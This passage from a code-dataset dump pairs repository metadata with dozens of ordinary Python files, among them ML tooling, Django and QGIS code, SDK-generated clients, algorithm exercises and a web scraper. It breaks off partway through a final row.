blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3d7bfee962a7769a44e1505663bc6f84e5fe97ec | 4583606ffcb09158b89437bf1f3bd094500847cd | /python/Servidor/src/setup.py | f0e94a5c44b23ccf4087846cbd1e6f0c2957bcd6 | [] | no_license | katcipis/playground | 7693914497a5f7af089a0c06c9f3c9a46227cdf6 | 7559ddc567091a7352fcf2942b57afe4351466ce | refs/heads/main | 2023-07-09T18:24:17.864361 | 2023-06-26T20:50:11 | 2023-06-26T20:50:11 | 22,303,201 | 0 | 4 | null | 2023-05-17T18:15:59 | 2014-07-27T04:27:12 | C++ | UTF-8 | Python | false | false | 84 | py | from distutils.core import setup
import py2exe
setup(console=['__main__.py'])
| [
"tiagokatcipis@gmail.com"
] | tiagokatcipis@gmail.com |
0a3552b287626b831bf17bbc3156e09ade16e9b9 | cee44e13678a36c57cd9326a1a2516005f71922c | /lesson134.py | befeb461cddfcbc2310a4c67c2bf137f81a9b525 | [] | no_license | ipcoo43/baekjoon | 13485f4e120e8a2c2dda9644f7a9c712b61f471b | 781a49b7e100fc8bf66848d3144ef8688ab02928 | refs/heads/master | 2020-06-03T19:16:49.797374 | 2019-06-14T22:47:34 | 2019-06-14T22:47:34 | 191,698,804 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 180 | py | # subplot()
import matplotlib.pyplot as plt
plt.subplot(1,2,1)
plt.plot(range(10,100),'g')
plt.subplot(1,2,2)
plt.plot(range(100,1,-1),'r')
plt.show() # 그래프 보여주기 | [
"ipcoo43@gamil.com"
] | ipcoo43@gamil.com |
dcf09dc3605d8dd61868ea0603af1c0d06320b2f | 358d6e9309189bc1e4bafcee973a130285698999 | /reagent/evaluation/reward_net_evaluator.py | e786c4917f16fb256aa8db7cb0e2cad0e3ae6595 | [
"BSD-3-Clause"
] | permissive | emrul/ReAgent | f651c3664d493842f74a4d6c748e8eac5648397e | b35445f49d349ed94a3aa76fc5b95cf5ec2e34f5 | refs/heads/master | 2023-02-26T09:48:37.015748 | 2021-01-29T23:28:59 | 2021-01-29T23:30:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,128 | py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All rights reserved.
import copy
import logging
import numpy as np
import torch
from reagent import types as rlt
from reagent.training.reward_network_trainer import RewardNetTrainer
from reagent.types import PreprocessedRankingInput
logger = l... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
e83406c0c2c3dfcafac4548f8fc1198f35357119 | e7aab075b1683a651e3081b89048065388ebba33 | /main.py | 0501d436e365fc40c731e765ab901eb50645cb02 | [
"MIT",
"CC0-1.0"
] | permissive | ytyaru/Hatena.WebSite.Login.201703040757 | 5ca4f69e684c753305d33c3f06be9728fbeb834b | 11ffc5549398478146a9966189e06cf535b34092 | refs/heads/master | 2020-05-21T09:02:21.331949 | 2017-03-10T23:01:02 | 2017-03-10T23:01:02 | 84,607,326 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,541 | py | #!python3
#encoding:utf-8
from urllib.request import build_opener, HTTPCookieProcessor
from urllib.parse import urlencode
from http.cookiejar import CookieJar
import pprint
import dataset
class HatenaSite(object):
def __init__(self, path_hatena_accounts_sqlite3):
self.path_hatena_accounts_sqlite3 = path_ha... | [
"ytyaru@outlook.jp"
] | ytyaru@outlook.jp |
d1697e7124a81d0e10d9aa2db971e5b06a680023 | 5e809acc62b080f1adad2c34e647241cdc5ad297 | /blog/urls.py | a1afcc3604bef547a97e265dcf0ed9daae807215 | [
"MIT"
] | permissive | RootenberG/My-blog-project | f520af79a2f3eb416b3dadee46813a812ce9d53d | 7ef4670cfa9d54d9345d52ca008aae5fed5605bc | refs/heads/master | 2020-08-15T20:04:29.478049 | 2020-02-08T21:57:46 | 2020-02-08T21:57:46 | 215,400,930 | 0 | 0 | MIT | 2019-10-30T20:54:38 | 2019-10-15T21:34:30 | Python | UTF-8 | Python | false | false | 918 | py | from django.urls import path
from blog.views import (
create_blog_view,
post_list,
post_detail,
comment_added_view,
post_search
)
from django.contrib.sitemaps.views import sitemap
from blog.sitemaps import PostSitemap
from .feeds import LatestPostsFeed
sitemaps = {'posts': PostSitemap(), }
app_nam... | [
"savichevdenis244@gmail.com"
] | savichevdenis244@gmail.com |
7ebbd01376f070d2331fc01031eb60317930bf24 | 316b99c6046ff58c8499e0c214e9b81d9c3132b0 | /beartype/_util/cache/map/utilmaplru.py | 0a31f836a46bd2fca69fbc171947e227d934ab81 | [
"MIT",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | beartype/beartype | fb6417b3dc2e08c065f0d907f43411c33d883a7d | 0cfd53391eb4de2f8297a4632aa5895b8d82a5b7 | refs/heads/main | 2023-08-15T13:17:47.095732 | 2023-08-15T05:25:54 | 2023-08-15T05:25:54 | 252,646,465 | 1,992 | 51 | MIT | 2023-07-28T04:13:08 | 2020-04-03T06:06:22 | Python | UTF-8 | Python | false | false | 8,726 | py | #!/usr/bin/env python3
# --------------------( LICENSE )--------------------
# Copyright (c) 2014-2023 Beartype authors.
# See "LICENSE" for further details.
'''
Project-wide **Least Recently Used (LRU) cache** utilities.
This private submodule is *not* intended for importation by downstrea... | [
"leycec@gmail.com"
] | leycec@gmail.com |
eb4d189285002ddc654644731dfbac03d7d741c1 | d125c002a6447c3f14022b786b07712a7f5b4974 | /tests/bugs/core_6290_test.py | 3d986d15191f9c93cc72e29b522ab5611406060a | [
"MIT"
] | permissive | FirebirdSQL/firebird-qa | 89d5b0035071f9f69d1c869997afff60c005fca9 | cae18186f8c31511a7f68248b20f03be2f0b97c6 | refs/heads/master | 2023-08-03T02:14:36.302876 | 2023-07-31T23:02:56 | 2023-07-31T23:02:56 | 295,681,819 | 3 | 2 | MIT | 2023-06-16T10:05:55 | 2020-09-15T09:41:22 | Python | UTF-8 | Python | false | false | 1,217 | py | #coding:utf-8
"""
ID: issue-6532
ISSUE: 6532
TITLE: Hex number used at end of statement (e.g. CREATE DOMAIN ... DEFAULT) may read
invalid memory and produce wrong values or exceptions
DESCRIPTION:
JIRA: CORE-6290
FBTEST: bugs.core_6290
"""
import pytest
from firebird.qa import *
db... | [
"pcisar@ibphoenix.cz"
] | pcisar@ibphoenix.cz |
d900db1b7576af3cb502005843d9820d36abd797 | 8a780cb47eac9da046bdb5d6917f97a086887603 | /problems/allocate_mailboxes/solution.py | 903740afe4488e5feeec7c53967ca97ecf7f8c42 | [] | no_license | dengl11/Leetcode | d16315bc98842922569a5526d71b7fd0609ee9fb | 43a5e436b6ec8950c6952554329ae0314430afea | refs/heads/master | 2022-12-20T03:15:30.993739 | 2020-09-05T01:04:08 | 2020-09-05T01:04:08 | 279,178,665 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 979 | py | from functools import lru_cache
class Solution:
def minDistance(self, houses: List[int], k: int) -> int:
houses.sort()
n = len(houses)
dp = [[float('inf')] * (n+1) for _ in range(k+1)]
@lru_cache(None)
def min_total(box, pre, j):
return sum(abs(houses[x-1] - box... | [
"ldeng1314@gmail.com"
] | ldeng1314@gmail.com |
0d36cc74fdb4210867f6bc7c5dfdb3d8e0be2817 | a15b050e661c31880acc72465421f3ba4906ef06 | /0x0B-python-input_output/14-pascal_triangle.py | 53eccf566b2e66122d87dbca3b9393fc7e4c45fd | [] | no_license | zacwoll/holbertonschool-higher_level_programming | 0c483195f50a55fe0bfae5cff03c0c86719d8063 | 9c7dda67dc5681fd96b90d6f05ee9748a37ed8b8 | refs/heads/master | 2022-12-22T04:54:13.815410 | 2020-09-25T16:03:41 | 2020-09-25T16:03:41 | 259,412,215 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 471 | py | #!/usr/bin/python3
""" 14-pascal_triangle """
def pascal_triangle(n):
""" return list of lists representing pascal's triangle at n """
tri = []
res = [[1]]
if n <= 0:
return tri
if n == 1:
return res
while (n - 1):
new_tri = [1]
for i in range(len(tri) - 1):
... | [
"zacwoll@gmail.com"
] | zacwoll@gmail.com |
954fdea9cf26808477406c142cd60123a97c2447 | d7516481db51c31ae1690892a4bb19246c831ac4 | /tests/test_models/test_base_models.py | 59a5d485ea0720119fe5d13f2d8cf7507a954323 | [
"MIT"
] | permissive | gyunt/polyaxon | 0f7c3b026635ad62d28316bf68fc806c51fc4ccb | 0c99cca9ae9a2a4e957febe1970bf6508225f292 | refs/heads/master | 2021-09-01T07:02:51.453682 | 2017-12-20T23:02:37 | 2017-12-20T23:02:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,293 | py | # -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
import tensorflow as tf
from polyaxon_schemas.losses import LogLossConfig
from polyaxon_schemas.optimizers import AdadeltaConfig
import polyaxon as plx
from tensorflow.python.training import training
from tensorflow.python.platf... | [
"mouradmourafiq@gmail.com"
] | mouradmourafiq@gmail.com |
afe8fb23619f561d1b8719c49689269b3910e12c | 6e5ab77fee1fb4a0310213dd8c6dd8601828b1b9 | /Algorithm/문제/수업/D-20/최소 신장 트리_Kruskal.py | 2e6260b4b1ddebf71cbf7c52535257afa1a5af13 | [] | no_license | hongyong3/TIL | 36d031c0da9e3e6db3eebb977bd3e12df00a849f | 7f1492128e957a78fc95b255f4f7f2978161e471 | refs/heads/master | 2023-08-19T09:16:03.231757 | 2023-08-18T09:38:47 | 2023-08-18T09:38:47 | 162,100,258 | 1 | 0 | null | 2023-02-11T00:52:32 | 2018-12-17T08:42:42 | Jupyter Notebook | UTF-8 | Python | false | false | 1,221 | py | import sys
sys.stdin = open("최소 신장 트리_input.txt", "r")
def Find_Set(x):
if x == P[x]: return x
else: return Find_Set(P[x])
def MST():
global V
c = 0 # 간선갯수
s = 0 # 가중치의 합
i = 0 # 제어변수
while c < V: # MST 구성을 위해 V개의 간선을 선택
p1 = Find_Set(data[i][0]) # 두 노드의 대표원소 알아내기
... | [
"chy66822495@gmail.com"
] | chy66822495@gmail.com |
7ad6f25fc14915ad23845834af3e3f5d9510a9fa | d45634e006783b920346fb7184c4922dd90817e9 | /postgisquerybuilderdialog.py | 2b995a7cfb9e1f0f07f33578f90cf8b9bee50cff | [] | no_license | procino/postgisQueryBuilder | c4d5e04cbede2e0d872097ca57bad9e7e0e85092 | b09369b9b02d0f069e8570ab4940c68ba39e04ff | refs/heads/master | 2020-08-05T14:57:28.537912 | 2019-09-23T16:49:13 | 2019-09-23T16:49:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,715 | py | # -*- coding: utf-8 -*-
"""
/***************************************************************************
postgisQueryBuilderDialog
A QGIS plugin
helps to build views in postgis
-------------------
begin : 2014-04-24
copyright... | [
"enricofer@gmail.com"
] | enricofer@gmail.com |
afbe2e1d2e9fb6782ed2fdd848448aa5dc9afb9f | 9ed3b16b3da72e4c47a04f2f2e3ef395e9fd9f20 | /main/zimg/update.py | ca8c6eb3e26277a53e45aaf990096f8f733d2e04 | [
"BSD-2-Clause"
] | permissive | chimera-linux/cports | fdae59dc25856942be3041e10e3533dbf8f883c3 | 714680161cd719dd047452c95fbb9b447bc23a86 | refs/heads/master | 2023-09-03T19:30:40.720670 | 2023-09-03T15:07:40 | 2023-09-03T15:07:40 | 374,000,317 | 118 | 37 | BSD-2-Clause | 2023-09-14T20:31:08 | 2021-06-05T02:07:34 | Python | UTF-8 | Python | false | false | 32 | py | pattern = r"release-([\d.]+)\."
| [
"q66@chimera-linux.org"
] | q66@chimera-linux.org |
c9807c71a703cabca06fcaeaf3f1ffdf145c7246 | 46b5c1bc98678f02cbd39b6c814e6b32908a6c22 | /venv/bin/pygmentize | c5a4142d4d6e0f02d946a2532677cc2183d13d02 | [] | no_license | Peter-32/portofvirginiaapp | ea0aceedce6efe928f4c128fb4935f000048678f | e0cfdd379d9654d41b301a52bcd6d77aa08d4591 | refs/heads/master | 2022-11-07T15:13:51.111003 | 2019-07-24T05:15:57 | 2019-07-24T05:15:57 | 198,562,849 | 0 | 1 | null | 2022-10-08T03:46:30 | 2019-07-24T05:13:23 | Python | UTF-8 | Python | false | false | 266 | #!/Users/petermyers/Desktop/Code/test_pyinstaller2/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from pygments.cmdline import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"peter@impactradius.com"
] | peter@impactradius.com | |
d0c44688ee34dc4549d1e959c1227c39ffb9b86f | a8351ce63ca02ad79ba7d72ba19f90ae0a94b2e8 | /fritzbox/calls/systemInfo.py | 2c516bed3d9f04f13a32b9540a10b57669afaabe | [] | no_license | ms412/fritzbox | ac4c2a12897370ae8aa519e4669788d1e08cc8ea | 51c9506b1fd07ed8c7eba1a97c7b633121d62399 | refs/heads/master | 2020-03-24T21:23:03.072627 | 2018-09-04T18:55:31 | 2018-09-04T18:55:31 | 141,843,032 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 176 | py |
import fritzbox.api.deviceinfoSCPD as deviceinfoSCPD
import json
class systemInfo(deviceinfoSCPD.deviceinfoSCPD):
def ManufactorName(self):
return self.getInfo
| [
"m.schiesser@gmail.com"
] | m.schiesser@gmail.com |
1528b3cf7ed49231dde3e7597eb0d9b7c7928c5d | c7666e86aca83c283f400749e91234bcbf46b3c0 | /core/migrations/0011_campain_direction.py | f5c77db55d303e9ee8493cd858734d6597b7736b | [] | no_license | nhrnhr0/positiveFeedback | b195e4b13e9100b1db663dea80e0fa4d7a9947cf | ab8a5ecc3aeeb07a0e064159e463eb7f652e55f2 | refs/heads/master | 2023-03-02T16:56:40.494710 | 2021-02-11T10:50:28 | 2021-02-11T10:50:28 | 334,692,961 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 455 | py | # Generated by Django 3.1.6 on 2021-02-03 13:20
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0010_auto_20210203_1013'),
]
operations = [
migrations.AddField(
model_name='campain',
name='direction',
... | [
"ronionsegal@gmail.com"
] | ronionsegal@gmail.com |
217f72f5fcbce074a20dc21b16b48e4ea1b076f4 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_148/ch150_2020_05_03_00_45_10_661251.py | e14ba23069a9994ca1d48fb6d77cb0c76ac8e031 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 126 | py | def calcula_pi(n):
soma = 0
i = 1
while i<=n:
soma = soma + 6/(i**2)
i += 1
return soma**(1/2) | [
"you@example.com"
] | you@example.com |
ffa081c8a8fdd4161b4d74192fd381fff3474ef1 | ecf0d106831b9e08578845674a457a166b6e0a14 | /python_advanced/functions_advanced_LAB/3_multiplication_function.py | 495ecda9656e93aeb60c1b9724879ca9a2e87ecb | [] | no_license | ivo-bass/SoftUni-Solutions | 015dad72cff917bb74caeeed5e23b4c5fdeeca75 | 75612d4bdb6f41b749e88f8d9c512d0e00712011 | refs/heads/master | 2023-05-09T23:21:40.922503 | 2021-05-27T19:42:03 | 2021-05-27T19:42:03 | 311,329,921 | 8 | 5 | null | null | null | null | UTF-8 | Python | false | false | 96 | py | from functools import reduce
def multiply(*args):
return reduce(lambda x, y: x * y, args)
| [
"ivailo.ignatoff@gmail.com"
] | ivailo.ignatoff@gmail.com |
f42f8a3ca94c89ab8666e92a01bb95c31948f6d7 | 334957425d80ae9a881076ea2506978df0949e4a | /resnet/models/__init__.py | b0c16141b9e6d3046400d9bf752818e983ebd36e | [
"MIT"
] | permissive | wangkua1/resnet | f73af280b9c4de4e5cc78ca45c4092267d208c12 | 4252d8255155f3b1e3223396ba02f29230fdfe19 | refs/heads/master | 2021-01-23T03:33:39.947879 | 2017-03-24T17:07:08 | 2017-03-24T17:07:08 | 86,090,106 | 0 | 1 | null | 2017-03-24T16:44:01 | 2017-03-24T16:44:01 | null | UTF-8 | Python | false | false | 148 | py | from resnet_model import ResNetModel
from multi_tower_model import MultiTowerModel
from multi_pass_multi_tower_model import MultiPassMultiTowerModel | [
"renmengye@gmail.com"
] | renmengye@gmail.com |
833d418a97de43ed709f3d088e4719bcf3d4e59a | 3c41443364da8b44c74dce08ef94a1acd1b66b3e | /addons/dropbox/settings/local-dist.py | 22bbbf1057abf9d3aba3f089f4e5b3df9f5d6ceb | [
"MIT",
"BSD-3-Clause",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-warranty-disclaimer",
"AGPL-3.0-only",
"LGPL-2.0-or-later",
"LicenseRef-scancode-proprietary-license",
"MPL-1.1",
"CPAL-1.0",
"LicenseRef-scancode-unknown-license-reference",
"BSD-2-Clause",
"Apache-2.0"
] | permissive | CenterForOpenScience/osf.io | 71d9540be7989f7118a33e15bc4a6ce2d2492ac1 | a3e0a0b9ddda5dd75fc8248d58f3bcdeece0323e | refs/heads/develop | 2023-09-04T03:21:14.970917 | 2023-08-31T14:49:20 | 2023-08-31T14:49:20 | 10,199,599 | 683 | 390 | Apache-2.0 | 2023-09-14T17:07:52 | 2013-05-21T15:53:37 | Python | UTF-8 | Python | false | false | 246 | py | # -*- coding: utf-8 -*-
"""Example Dropbox local settings file. Copy this file to local.py and change
these settings.
"""
# Get an app key and secret at https://www.dropbox.com/developers/apps
DROPBOX_KEY = 'changeme'
DROPBOX_SECRET = 'changeme'
| [
"sloria1@gmail.com"
] | sloria1@gmail.com |
ad5a789b0071d5260693b04ced912240320973bf | 41a4887a52afe81f203d0917c5ef54ccbe2389fe | /dates/extract_jpegs.py | f1d676c1ae119086ee74b807836dcb782e77500d | [] | no_license | tgandor/meats | 2efc2e144fc59b2b99aeeaec5f5419dbbb323f9b | 26eb57e49752dab98722a356e80a15f26cbf5929 | refs/heads/master | 2023-08-30T20:35:47.949622 | 2023-08-25T13:26:23 | 2023-08-25T13:26:23 | 32,311,574 | 13 | 9 | null | 2022-06-22T20:44:44 | 2015-03-16T08:39:21 | Python | UTF-8 | Python | false | false | 2,796 | py | #!/usr/bin/env python
from __future__ import print_function
import argparse
import glob
import mmap
import os
import platform
WHOLE_FILE = 0
def get_size(buffer, idx):
s1 = buffer[idx + 2]
s2 = buffer[idx + 3]
return s1 * 256 + s2
def get_marker(buffer, idx):
return buffer[idx]
if platform.pyth... | [
"tomasz.gandor@gmail.com"
] | tomasz.gandor@gmail.com |
cd1b637edc204a74c2dfd6a843d96fc9283002cd | 6364bb727b623f06f6998941299c49e7fcb1d437 | /msgraph-cli-extensions/src/groupsonenote/azext_groupsonenote/vendored_sdks/groupsonenote/operations/_group_onenote_page_parent_section_operations.py | 53dc96b8a18196d5add08004e3b055deb3606c82 | [
"MIT"
] | permissive | kanakanaidu/msgraph-cli | 1d6cd640f4e10f4bdf476d44d12a7c48987b1a97 | b3b87f40148fb691a4c331f523ca91f8a5cc9224 | refs/heads/main | 2022-12-25T08:08:26.716914 | 2020-09-23T14:29:13 | 2020-09-23T14:29:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 38,062 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"japhethobalak@gmail.com"
] | japhethobalak@gmail.com |
cd6edfef3e1b98375fa58d8398c3637a407de209 | 0cf47add4f077e3f8cbb06dcf9af441365907d2c | /world_developer/world_developer.py | 1e65af0b05f3882ae65a93b94fc1608eda24789f | [] | no_license | vinits5/grid_qlearning | d5772a093d42e3e483ea5bc1ee644cb86dbe2101 | e15dc54af63c6e1214bf91c0eee24fc4b0838615 | refs/heads/master | 2020-04-20T13:47:35.859492 | 2019-02-05T03:42:40 | 2019-02-05T03:42:40 | 168,879,107 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,594 | py | import pygame
import argparse
import math
import cv2
import csv
import os
import random
pygame.init()
class Create_World:
def create_world(self,grid_width,grid_height,caption,blocks):
# grid_blocks_width, grid_blocks_height are the number of blocks in grid.
self.grid_blocks_width = grid_width
self.grid_blocks_... | [
"vinitsarode5@gmail.com"
] | vinitsarode5@gmail.com |
e1ae8d0f93f436de86bdeee5d76f8a776f6f731c | c89543dd926c1787c40616ed174a3d1371c54449 | /superset/explore/utils.py | 01f63f53f2f449937bb5756427a0d4c4db82a611 | [
"Apache-2.0",
"OFL-1.1"
] | permissive | j420247/incubator-superset | 7c7bff330393f0e91f5e67782f35efe8c735250a | c9b9b7404a2440a4c9d3173f0c494ed40f7fa2bd | refs/heads/master | 2023-03-11T21:53:16.827919 | 2023-02-03T19:04:17 | 2023-02-03T19:04:17 | 157,780,350 | 1 | 1 | Apache-2.0 | 2023-03-07T00:14:51 | 2018-11-15T22:24:29 | TypeScript | UTF-8 | Python | false | false | 3,379 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | [
"noreply@github.com"
] | j420247.noreply@github.com |
c5326763a941e8e5546d4c480ebf72ae34f84ce2 | 0a973640f0b02d7f3cf9211fcce33221c3a50c88 | /.history/src/easy-money_20210129090846.py | f0c80bb4e921fb7ae39b039f9e737520929bb74c | [] | no_license | JiajunChen123/IPO_under_review_crawler | 5468b9079950fdd11c5e3ce45af2c75ccb30323c | 031aac915ebe350ec816c05a29b5827fde588567 | refs/heads/main | 2023-02-26T08:23:09.622725 | 2021-02-04T10:11:16 | 2021-02-04T10:11:16 | 332,619,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,588 | py | # 东方财富网 首发申报
from datetime import datetime,timedelta
from urllib.parse import urlencode
import pandas as pd
import requests
import re
import time
base_url = 'https://datainterface.eastmoney.com/EM_DataCenter/JS.aspx?'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like... | [
"chenjiajun.jason@outlook.com"
] | chenjiajun.jason@outlook.com |
e2b892f662333f6574dc59c12cf4c8fa165dd018 | a0741f52ce7865473c7b0c99b94e987f640647fa | /sdk/rdbms/azure-mgmt-rdbms/azure/mgmt/rdbms/postgresql_flexibleservers/_configuration.py | bb402eb97577539fadb0ff931f311465a94bcfbd | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LGPL-2.1-or-later"
] | permissive | c-ryan-k/azure-sdk-for-python | f47b5b13204d5ad5b417bcb60131a38472a11e87 | 5655518477adb8be63e6ff43a8852553a602f6a9 | refs/heads/master | 2023-06-22T14:58:08.010015 | 2023-05-25T18:00:55 | 2023-05-25T18:00:55 | 250,091,391 | 0 | 0 | MIT | 2020-03-25T21:06:22 | 2020-03-25T21:06:21 | null | UTF-8 | Python | false | false | 3,496 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | c-ryan-k.noreply@github.com |
4d7ba8b90695fb32a14217f8b5a1d8bd7b951f41 | f07a42f652f46106dee4749277d41c302e2b7406 | /Data Set/bug-fixing-5/868cf9eb9e503fac2b723c67c73c7340357b4472-<period_range>-bug.py | 38db15c85019476fa311d18e7cdecca9f803c302 | [] | no_license | wsgan001/PyFPattern | e0fe06341cc5d51b3ad0fe29b84098d140ed54d1 | cc347e32745f99c0cd95e79a18ddacc4574d7faa | refs/heads/main | 2023-08-25T23:48:26.112133 | 2021-10-23T14:11:22 | 2021-10-23T14:11:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,435 | py | def period_range(start=None, end=None, periods=None, freq=None, name=None):
'\n Return a fixed frequency PeriodIndex, with day (calendar) as the default\n frequency.\n\n Parameters\n ----------\n start : string or period-like, default None\n Left bound for generating periods\n end : string ... | [
"dg1732004@smail.nju.edu.cn"
] | dg1732004@smail.nju.edu.cn |
34427386fd09f179d74685668bfcc248303c00d6 | eaf54e6c022b748fd0d04f076634aafdfad5f69f | /pos_speed_est_neu/tools/baro_log.py | 6d971416ead2f3644519bf997c55e150f511da41 | [] | no_license | PenguPilot/PenguPilot | 91f131effa11a3c1ef47abb161463772325ae63b | 9cb08836789cf17b9de57517040188c79765046b | refs/heads/ng-wip | 2020-03-28T00:41:06.634109 | 2015-11-19T16:06:00 | 2015-11-19T16:06:00 | 7,300,320 | 78 | 30 | null | 2015-11-19T16:06:00 | 2012-12-24T00:18:48 | C | UTF-8 | Python | false | false | 385 | py |
from msgpack import loads
from scl import scl_get_socket, SCL_Reader
from world_pos_est import *
from threading import Thread
br = SCL_Reader('baro_raw', 'sub', [0.0, 0.0])
ar = SCL_Reader('acc_world_hp', 'sub', [0.0, 0.0, 0.0])
est_socket = scl_get_socket('world_pos_est', 'sub')
while 1:
array = loads(est_soc... | [
"tobias.simon@tu-ilmenau.de"
] | tobias.simon@tu-ilmenau.de |
e1c0633eb57e62b4b027f64372d77570f2d5a8c5 | 05243216d13fca0db96ffd5b27b264bfe22e6e54 | /src/IceRayPy/utility/geometry/simple/__init__.py | 289756f9f7105debae81980e9dfd9643b56e4d90 | [
"MIT-0"
] | permissive | RaphaelK12/IceRay | 6c843fb1ed4951b721ddf6c4074c6ba03a2a82e4 | fdc013b7afe84127ba8972ca187b89668878e92a | refs/heads/master | 2022-11-24T23:55:10.151494 | 2020-07-16T19:00:22 | 2020-08-04T14:54:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 172 | py | print( '<' + __name__ + ' name=\'' + __file__ + '\'>' )
import IceRayPy.utility.geometry.simple.hyperboloid
print( '</' + __name__ + ' name=\'' + __file__ + '>' ) | [
"dmilos@gmail.com"
] | dmilos@gmail.com |
7ec6b9fa7789cec5b5a208b86cd7bacd895b2b21 | d02f9b972dc29160955456d15082e24bf7ec231b | /lumin/nn/ensemble/ensemble.py | a9df83c568147626c06c1824d67c0e7cd33eab5f | [
"Apache-2.0"
] | permissive | GilesStrong/lumin | fc644747f77ccfc064cab813b8bf1f5bea965062 | bcaf35731ef48bc6184d090a5180fbc33a3dfe6e | refs/heads/master | 2023-05-26T15:17:47.564892 | 2023-04-28T00:13:10 | 2023-04-28T00:13:10 | 163,840,693 | 48 | 16 | Apache-2.0 | 2023-04-14T01:14:57 | 2019-01-02T12:52:32 | Python | UTF-8 | Python | false | false | 25,116 | py | import numpy as np
import pandas as pd
import os
import pickle
import glob
import warnings
from fastprogress import progress_bar, master_bar
from pathlib import Path
from typing import Dict, Union, Any, List, Optional, Tuple
from sklearn.pipeline import Pipeline
from torch import Tensor
from .abs_ensemble import AbsE... | [
"giles.strong@outlook.com"
] | giles.strong@outlook.com |
38c0ba71b20b56e39c294463d741fc2f9d58fb1e | 786027545626c24486753351d6e19093b261cd7d | /ghidra9.2.1_pyi/ghidra/app/util/bin/__init__.pyi | a3c40b20d9269dc4d1790a4491f3cd1581d77519 | [
"MIT"
] | permissive | kohnakagawa/ghidra_scripts | 51cede1874ef2b1fed901b802316449b4bf25661 | 5afed1234a7266c0624ec445133280993077c376 | refs/heads/main | 2023-03-25T08:25:16.842142 | 2021-03-18T13:31:40 | 2021-03-18T13:31:40 | 338,577,905 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,592 | pyi | from . import format as format
from .BinaryReader import BinaryReader as BinaryReader
from .ByteArrayConverter import ByteArrayConverter as ByteArrayConverter
from .ByteArrayProvider import ByteArrayProvider as ByteArrayProvider
from .ByteProvider import ByteProvider as ByteProvider
from .ByteProviderInputStream import... | [
"tsunekou1019@gmail.com"
] | tsunekou1019@gmail.com |
df235e4d1899c4996666d3f50026ef3c553f39b3 | ace30d0a4b1452171123c46eb0f917e106a70225 | /filesystems/vnx_rootfs_lxc_ubuntu64-16.04-v025-openstack-compute/rootfs/usr/lib/python2.7/dist-packages/os_win/utils/hostutils.py | 4588528e331ec6ad945e8db00e6e57f79c733e97 | [
"Python-2.0"
